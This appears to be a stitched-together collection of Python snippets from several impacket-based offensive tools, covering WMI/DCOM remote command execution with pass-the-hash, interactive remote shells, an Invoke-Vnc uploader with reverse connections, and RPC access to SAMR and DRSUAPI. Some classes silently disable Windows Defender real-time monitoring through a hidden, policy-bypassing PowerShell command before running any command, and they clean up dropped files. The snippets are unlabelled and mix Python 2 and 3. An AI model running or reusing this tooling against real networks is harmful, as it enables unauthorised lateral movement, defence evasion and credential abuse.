def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = RemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
def test_IWbemServices_ExecMethod(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'') classObject, _ = iWbemServices.GetObject('Win32_Process') obj = classObject.Create('notepad.exe', 'c:\\', None) handle = obj.getProperties()['ProcessId']['value'] iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle) oooo = iEnumWbemClassObject.Next(0xffffffff, 1)[0] #import time #time.sleep(5) oooo.Terminate(1) #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = "testGroup0"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.Rename('testGroup1') #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #import time #owner = oooo.GetAccessMask() #print owner.getProperties() #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = "Users"') #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0] #obj = oooo.SetShareInfo(0, 'HOLA BETO', None) #classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy') #obj = classObject.Create('C:\\', 'ClientAccessible') #print obj.getProperties() # this one doesn't work #classObject,_ = iWbemServices.GetObject('Win32_Service') #obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\beto', 16, 0, 'Manual', 0, None, None, None, None, None) #print obj.getProperties() dcom.disconnect()
def connect(self, host, username, password, domain=None, lmhash="", nthash=""): if not domain: domain = host.ip_addr dcom = DCOMConnection(host.ip_addr, username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, oxidResolver=True) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) except Exception as exc: dcom.disconnect() if "rpc_s_access_denied" == exc.message: raise AccessDeniedException(host, username, password, domain) raise iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) try: self._iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) self._dcom = dcom except: dcom.disconnect() raise finally: iWbemLevel1Login.RemRelease()
class WMI: def __init__(self, connexion, logger): self.conn = connexion self.conn.hostname = list({addr[-1][0] for addr in socket.getaddrinfo(self.conn.hostname, 0, 0, 0, 0)})[0] self.log = logger self.win32Process = None self.buffer = "" self.dcom = None self._getwin32process() def _buffer_callback(self, data): self.buffer += str(data) def _getwin32process(self): self.log.debug("Trying to authenticate using {}\\{}:{}".format( self.conn.domain_name, self.conn.username, self.conn.password) ) self.dcom = DCOMConnection( self.conn.hostname, self.conn.username, self.conn.password, self.conn.domain_name, self.conn.lmhash, self.conn.nthash, None, oxidResolver=True, doKerberos=False ) try: iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = iWbemServices.GetObject('Win32_Process') except Exception as e: raise Exception("WMIEXEC not supported on host %s : %s" % (self.conn.hostname, e)) def execute(self, command): self.win32Process.Create(command, "C:\\", None) self.dcom.disconnect()
def test_IWbemServices_ExecQuery(self): dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\%s\\root\\cimv2' % self.machine, NULL, NULL) classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service'] for classn in classes: print "Reading %s " % classn try: iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn) done = False while done is False: try: iEnumWbemClassObject.Next(0xffffffff,1) except Exception, e: if str(e).find('S_FALSE') < 0: print e else: done = True pass except Exception, e: if str(e).find('S_FALSE') < 0: print e
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document', )) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx( string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx( string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document', )) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit', ))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ExecuteShellCommand', ))[0] self.shell = RemoteShellMMC20( self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application', )) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch( self.getInterface( iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames( ('ShellExecute', ))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
class RPCRequester(): def __init__(self, target_computer, domain=str(), user=(), password=str(), lmhash=str(), nthash=str()): self._target_computer = target_computer self._domain = domain self._user = user self._password = password self._lmhash = lmhash self._nthash = nthash self._pipe = None self._rpc_connection = None self._dcom = None self._wmi_connection = None def _create_rpc_connection(self, pipe): # Here we build the DCE/RPC connection self._pipe = pipe binding_strings = dict() binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST binding_strings['samr'] = samr.MSRPC_UUID_SAMR binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI # TODO: try to fallback to TCP/139 if tcp/445 is closed if self._pipe == r'\drsuapi': string_binding = epm.hept_map(self._target_computer, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_credentials(username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) else: rpctransport = transport.SMBTransport(self._target_computer, 445, self._pipe, username=self._user, password=self._password, domain=self._domain, lmhash=self._lmhash, nthash=self._nthash) rpctransport.set_connect_timeout(10) dce = rpctransport.get_dce_rpc() if self._pipe == r'\drsuapi': dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) try: dce.connect() except socket.error: self._rpc_connection = None else: dce.bind(binding_strings[self._pipe[1:]]) self._rpc_connection = dce def _create_wmi_connection(self, namespace='root\\cimv2'): try: self._dcom = DCOMConnection(self._target_computer, self._user, self._password, self._domain, self._lmhash, self._nthash) except DCERPCException: self._dcom = None else: i_interface = self._dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) i_wbem_level1_login = wmi.IWbemLevel1Login(i_interface) self._wmi_connection = i_wbem_level1_login.NTLMLogin( ntpath.join('\\\\{}\\'.format(self._target_computer), namespace), NULL, NULL) @staticmethod def _rpc_connection_init(pipe=r'\srvsvc'): def decorator(f): def wrapper(*args, **kwargs): instance = args[0] if (not instance._rpc_connection) or (pipe != instance._pipe): if instance._rpc_connection: instance._rpc_connection.disconnect() instance._create_rpc_connection(pipe=pipe) if instance._rpc_connection is None: return None return f(*args, **kwargs) return wrapper return decorator @staticmethod def _wmi_connection_init(): def decorator(f): def wrapper(*args, **kwargs): instance = args[0] if not instance._wmi_connection: instance._create_wmi_connection() if instance._dcom is None: return None return f(*args, **kwargs) return wrapper return decorator def __enter__(self): # Picked because it's the most used by the net* functions self._create_rpc_connection(r'\srvsvc') return self def __exit__(self, type, value, traceback): try: self._rpc_connection.disconnect() except AttributeError: pass self._rpc_connection = None
def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport): if bc_ip is None: bc_ip = '' self.launch_string = 'Invoke-Vnc ' if contype == 'bind': pass elif contype == 'reverse': if bc_ip is None: print 'Ip addr required for reverse connection' sys.exit(1) else: self.launch_string += '-IpAddress ' + bc_ip self.launch_string += ' -ConType ' + contype + ' -Port ' + vncport + ' -Password ' + vncpass logging.info("Using powershell launch string '" + self.launch_string + "'") if method == 'upload': logging.info("Connecting to SMB at " + addr) self.smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = self.smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path) dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin( '//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process, _ = iWbemServices.GetObject('Win32_Process') self.shell = RemoteShell(self.__share, win32Process, None) logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename) if contype == 'bind': logging.info("VNC server should start at {0}:{1}".format( addr, vncport)) else: logging.info("Expect reverse VNC connection at port " + vncport) self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename) logging.info( "Sleeping 10 seconds to allow bat file to unpack itself before deleting it" ) time.sleep(10) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("File " + self.__share + self.full_file_path + " deleted") except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) logging.info( "Error on executing bat file. Trying to delete it before exiting" ) self.smbConnection.deleteFile(self.__share, self.full_file_path) logging.info("{0} deleted".format(self.__share + self.full_file_path)) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if self.smbConnection is not None: self.smbConnection.logoff() dcom.disconnect()
class WMIEXEC: def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = '\\' + gen_random_string(6) self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.cd('\\') self.execute_remote(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def execute_remote(self, data): command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) self.get_output() def get_output(self): if self.__retOutput is False: self.__outputBuffer = '' return def output_callback(data): self.__outputBuffer += data while True: try: self.__smbconnection.getFile(self.__share, self.__output, output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output)
class WMIEXEC(): def __init__(self, logger, host, args, smb_con, share_name=''): self.outfile = gen_random_string() self.debug = args.debug self.logger = logger self.host = host self.domain = args.domain self.username = args.user self.password = args.passwd self.hash = args.hash self.lmhash = '' self.nthash = '' self.pwd = str('C:\\') self.shell = 'cmd.exe /Q /c ' self.noOutput = args.no_output self.outputBuffer = '' self.timeout = args.timeout self.smbcon = smb_con self.fileless_output = False if share_name: # Fileless output self.fileless_output = True self.ip = get_local_ip() self.share = share_name self.path = "\\" else: # Filed or Remote output self.ip = args.exec_ip self.share = args.exec_share self.path = args.exec_path if self.hash: try: self.lmhash, self.nthash = self.hash.split(':') except: self.nthash = self.hash def create_wmi_con(self): self.dcom = DCOMConnection(self.host, self.username, self.password, self.domain, self.lmhash, self.nthash) iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\{}\\root\\cimv2'.format(self.host), NULL, NULL) iWbemLevel1Login.RemRelease() self.win32Process, _ = iWbemServices.GetObject('Win32_Process') def execute(self, command): self.create_wmi_con() self.logger.debug( "WMIExec: DCOM connection created") # Init New Command self._outputBuffer = '' if self.noOutput: cmd = self.shell + command else: cmd = self.shell + command + " 1> \\\\{}\\{}{} 2>&1".format(self.ip, self.share, self.path + self.outfile) self.logger.debug( "WMIexec: {}".format(cmd)) self.win32Process.Create(cmd, self.pwd, None) self.logger.debug( "Win32 Process Created") # Get output if self.noOutput: self._outputBuffer = "Command executed with no output" elif self.fileless_output: sleep(3) self.get_output_fileless() else: sleep(3) self.get_output() self.logger.debug( "Disconnecting win32 process") self.dcom.disconnect() return self._outputBuffer def get_output(self, CODEC='UTF-8'): def output_callback(data): try: self._outputBuffer += data.decode(CODEC) except UnicodeDecodeError: self._outputBuffer += data.decode(CODEC, errors='replace') while True: try: self.smbcon.con.getFile(self.share, "{}{}".format(self.path, self.outfile), output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(1) elif str(e).find('Broken') >= 0: # The SMB Connection might have timed out, let's try reconnecting self.logger.debug( 'Connection broken, trying to recreate it') self.smbcon.con.reconnect() return self.get_output() # Cleanup, delete tmp outfile self.smbcon.con.deleteFile(self.share, "{}{}".format(self.path.replace('\\','/'), self.outfile)) def get_output_fileless(self): while True: try: with open(os.path.join('/tmp', '.ar3', 'smb', self.outfile), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) def output_callback(self, data): self._outputBuffer += data
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True #This checks to see if we didn't provide the LM Hash if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' dialect = smbconnection.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: #self.disable_notifications() self.disable_defender() try: self.execute_fileless(data) except: self.cd('\\') self.execute_remote(data) else: #self.disable_notifications() self.disable_defender() self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('wmi Executing_remote command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) #adding creds gets past systems disallowing guest-auth command = self.__shell + '"net use \\\\{}\\{} /p:no /user:{} {} & {} "'.format(local_ip, self.__share_name, self.__username, self.__password, command) logging.debug('wmi Executing_fileless command: {}'.format(command)) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open((cfg.TMP_PATH / self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(5) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) def disable_notifications(self): """ Cant figure out how to make these apply at runtime?? https://www.tenforums.com/tutorials/105486-enable-disable-notifications-windows-security-windows-10-a.html Maybe just stop the notification service? """ command = self.__shell + """"FOR /F %a IN ('REG.EXE QUERY hku 2^>NUL ^| FIND ^"HKEY_USERS^"') DO REG.EXE add ^"%a\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Notifications\\Settings\\Windows.SystemToast.SecurityAndMaintenance^" /v ^"Enabled^" /d ^"0^" /t REG_DWORD /F" """ logging.debug('notifications being disabling using: ' + command) self.__win32Process.Create(command, self.__pwd, None) print(' [!] Sleeping while notifications are disabled [!] ') time.sleep(4) def disable_defender(self): command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Set-MpPreference -DisableRealtimeMonitoring $true;"' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionExtension ".exe""' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionProcess $pid"' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionPath $env:temp"' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Add-MpPreference -ExclusionExtension ".ps1""' #command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Set-MpPreference -DisableIOAVProtection 1"' logging.debug('wmi Disabling Defender using: ' + command) self.__win32Process.Create(command, self.__pwd, None) print(' [!] Sleeping to allow defender process to finish shutting down[!] ') time.sleep(8) #################################################################################################### #################################################################################################### # Shell Stuff #################################################################################################### #################################################################################################### def run(self, addr, dummy): self.shell = None logging.debug('inside wmishell.run') try: self.shell = RemoteShell(self.__share, self.__win32Process, self.__smbconnection) self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) try: if self.__smbconnection is not None: self.__smbconnection.logoff() dcom.disconnect() except (Exception, KeyboardInterrupt) as e: logging.debug('Error: {}'.format(e))
class WMIEXEC: def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = None self.__outputBuffer = '' self.__share_name = share_name self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True #This checks to see if we didn't provide the LM Hash if hashes is not None: if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' dialect = smbconnection.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos) try: iInterface = self.__dcom.CoCreateInstanceEx( wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject('Win32_Process') except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() def execute(self, command, output=False): self.__retOutput = output if self.__retOutput: self.__smbconnection.setTimeout(100000) self.execute_handler(command) self.__dcom.disconnect() return self.__outputBuffer def cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print(self.__outputBuffer) self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.__outputBuffer = '' def output_callback(self, data): self.__outputBuffer += data def execute_handler(self, data): if self.__retOutput: self.disable_defender() try: self.execute_fileless(data) except: self.cd('\\') self.execute_remote(data) else: self.disable_defender() self.execute_remote(data) def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('wmi Executing_remote command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote() def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket( ).getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1"'.format( local_ip, self.__share_name, self.__output) #adding creds gets past systems disallowing guest-auth command = 'cmd.exe /Q /c "net use /persistent:no \\\\{}\\{} /user:{} {} & '.format( local_ip, self.__share_name, self.__username, self.__password) + command logging.debug('wmi Executing_fileless command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless() def get_output_fileless(self): while True: try: with open((cfg.TMP_PATH / self.__output), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(5) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = '' return while True: try: self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait sleep(2) pass else: #print str(e) pass self.__smbconnection.deleteFile(self.__share, self.__output) def disable_defender(self): command = self.__shell + 'powershell.exe -exec bypass -noni -nop -w 1 -C "Set-MpPreference -DisableRealtimeMonitoring $true;"' logging.debug('wmi Disabling Defender using: ' + command) self.__win32Process.Create(command, self.__pwd, None) print( ' [!] Sleeping to allow defender process to finish shutting down[!] ' ) time.sleep(8)
